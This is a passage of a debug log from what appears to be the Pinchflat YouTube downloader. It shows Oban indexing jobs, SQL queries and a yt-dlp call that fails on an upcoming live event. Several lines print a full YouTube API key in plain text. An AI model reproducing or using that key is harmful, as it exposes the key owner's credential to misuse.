"-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 15:47:46.624 [debug] QUERY OK source="media_items" db=0.7ms idle=102.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 15:47:46.625 [debug] QUERY OK source="tasks" db=0.1ms idle=103.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799838, 41, ~U[2026-02-10 21:47:46Z], ~U[2026-02-10 21:47:46Z]] 15:47:46.625 [info] {"args":{"id":41},"id":3799798,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104598,"event":"job:stop","queue_time":555577,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:47.523 [info] {"args":{"id":5},"id":3799799,"meta":{},"system_time":1770760067523692238,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:47.524 [debug] QUERY OK source="sources" db=0.2ms idle=898.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 15:47:47.524 [debug] QUERY OK source="settings" db=0.0ms idle=898.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:47.524 [debug] QUERY OK source="media_profiles" db=0.1ms idle=892.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:47.524 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:47.524 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 15:47:47.524 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:47.524 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:47.609 [debug] QUERY OK source="media_items" db=0.6ms idle=84.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 15:47:47.612 [debug] QUERY OK source="media_items" db=2.5ms idle=85.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 15:47:47.613 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799839, 5, ~U[2026-02-10 21:47:47Z], ~U[2026-02-10 21:47:47Z]] 15:47:47.614 [info] {"args":{"id":5},"id":3799799,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":90179,"event":"job:stop","queue_time":494123,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:52.529 [info] {"args":{"id":1},"id":3799800,"meta":{},"system_time":1770760072529651878,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:52.529 [debug] QUERY OK source="sources" db=0.1ms idle=1651.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:47:52.530 [debug] QUERY OK source="settings" db=0.0ms idle=1651.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:52.530 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:52.530 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:52.530 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 15:47:52.530 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:52.530 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:52.660 [debug] QUERY OK source="media_items" db=0.8ms idle=129.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 15:47:52.670 [debug] QUERY OK source="media_items" db=9.6ms idle=130.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:47:52.689 [debug] QUERY OK source="tasks" db=1.3ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799840, 1, ~U[2026-02-10 21:47:52Z], ~U[2026-02-10 21:47:52Z]] 15:47:52.689 [info] {"args":{"id":1},"id":3799800,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":160001,"event":"job:stop","queue_time":467378,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:57.395 [info] {"source":"oban","duration":11287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.978 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:27.407 [info] {"source":"oban","duration":10804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:57.418 [info] {"source":"oban","duration":10201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.979 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:27.427 [info] {"source":"oban","duration":7894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:57.438 [info] {"source":"oban","duration":10410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.980 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:27.446 [info] {"source":"oban","duration":7618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:29.691 [info] {"args":{"id":37},"id":3799801,"meta":{},"system_time":1770760229691723614,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:50:29.692 [debug] QUERY OK source="sources" db=0.7ms idle=813.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 15:50:29.693 [debug] QUERY OK source="settings" db=0.7ms idle=814.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.694 [debug] QUERY OK source="media_profiles" db=0.7ms idle=815.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:50:29.695 [debug] QUERY OK source="settings" db=0.9ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.695 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 15:50:29.695 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.695 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:50:29.799 [debug] QUERY OK source="media_items" db=0.6ms idle=106.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 15:50:29.800 [debug] QUERY OK source="settings" db=0.0ms idle=106.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.800 [debug] QUERY OK source="settings" db=0.0ms idle=106.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.800 [debug] Running yt-dlp command for action: get_media_attributes 15:50:29.801 [debug] QUERY OK source="settings" db=0.0ms idle=106.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.802 [debug] QUERY OK source="settings" db=0.0ms idle=106.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.802 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:29.802 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/14/4a14a2470172e505fcfc6a16f0daae48db3135bcb2c263fa792b94bdb5719cf9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:50:31.129 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/14/4a14a2470172e505fcfc6a16f0daae48db3135bcb2c263fa792b94bdb5719cf9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 18 hours. 15:50:31.129 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 18 hours.\n", 1} 15:50:31.130 [debug] QUERY OK source="media_items" db=1.0ms idle=442.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 15:50:31.132 [debug] QUERY OK source="tasks" db=0.2ms idle=253.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES 